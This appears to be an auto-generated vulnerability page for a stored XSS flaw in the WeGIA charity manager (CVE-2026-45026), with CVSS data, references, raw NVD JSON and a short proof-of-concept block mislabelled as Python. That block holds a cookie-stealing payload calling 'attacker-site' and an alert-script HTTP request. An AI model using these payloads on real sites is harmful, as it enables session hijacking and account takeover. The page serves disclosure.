CVE-2026-45026

Description

WeGIA is a web manager for charitable institutions. In versions prior to 3.7.3, a Stored Cross-Site Scripting (XSS) vulnerability allows an authenticated user to inject malicious JavaScript into the Processo de Aceitação (html/atendido/processo_aceitacao.php) page, which is executed when user access the the page, enabling session hijacking and account takeover. This vulnerability is fixed in 3.7.3.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WeGIA < 3.7.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for Stored XSS in WeGIA < 3.7.3
// Target: html/atendido/processo_aceitacao.php
// Description: Inject a script to capture cookies via an image tag or script tag.

// Example payload to be injected in the vulnerable field:
// <img src=x onerror="fetch('http://attacker-site/?c='+document.cookie)">

// HTTP Request simulation
POST /html/atendido/processo_aceitacao.php HTTP/1.1
Host: target-wegia.com
Content-Type: application/x-www-form-urlencoded

vulnerable_parameter=<script>alert('XSS')</script>&submit=Save

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45026
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45026
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45026/
[4] VulDB https://vuldb.com/cve/CVE-2026-45026
[5] https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-r578-8vgj-vph7
[6] https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-r578-8vgj-vph7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45026", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:47.070", "lastModified": "2026-05-12T14:17:08.720", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. In versions prior to 3.7.3, a Stored Cross-Site Scripting (XSS) vulnerability allows an authenticated user to inject malicious JavaScript into the Processo de Aceitação (html/atendido/processo_aceitacao.php) page, which is executed when user access the the page, enabling session hijacking and account takeover. This vulnerability is fixed in 3.7.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-r578-8vgj-vph7", "source": "[email protected]"}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-r578-8vgj-vph7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}